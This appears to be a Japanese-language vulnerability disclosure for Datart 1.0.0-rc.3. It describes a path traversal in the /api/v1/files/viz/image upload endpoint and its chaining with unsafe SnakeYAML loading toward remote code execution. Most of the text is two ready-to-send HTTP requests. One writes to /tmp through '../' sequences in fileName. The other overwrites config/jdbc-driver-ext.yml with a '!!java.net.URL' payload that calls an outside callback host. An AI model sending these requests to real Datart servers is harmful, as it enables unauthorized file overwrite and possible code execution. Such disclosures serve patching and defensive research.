
Datart 1.0.0-rc.3 は、POST /viz/image インターフェースにおいて Directory Traversal の脆弱性があります。サーバーはアップロードされたファイルをユーザーが制御可能なパスに保存するために MultipartFile.transferTo() を直接使用しており、ファイル名の厳格な検証が欠如しているためです。
Datart 1.0.0-rc.3 は、POST /viz/image インターフェースにおいて Directory Traversal の脆弱性の影響を受けます。サーバーが MultipartFile.transferTo() を直接使用して、アップロードされたファイルをユーザーが制御可能なパスに保存し、ファイル名の厳格な検証が欠如しているためです。
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../../../../tmp/1 HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
xxxxx
------WebKitFormBoundarySInMdoLRiubl32BW--
Datart 1.0.0-rc. 3 は Directory Traversal の脆弱性の影響を受けます。アプリケーションの設定ファイル処理により、攻撃者は任意の YAML ファイルを config/jdbc-driver-ext. yml パスにアップロードできます。アプリケーションは、このファイルを入力サニタイズなしで SnakeYAML の安全でない load() または loadAs() メソッドを使用して解析します。これにより、攻撃者が制御する YAML コンテンツのデシリアライゼーションが可能になり、任意のクラスインスタンス化につながります。特定の条件下では、これを悪用してリモートコード実行 (RCE) を達成できます。
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../config/jdbc-driver-ext.yml HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
{!!java.net.URL ["http://test.eyes.sh/"]: 1}
------WebKitFormBoundarySInMdoLRiubl32BW--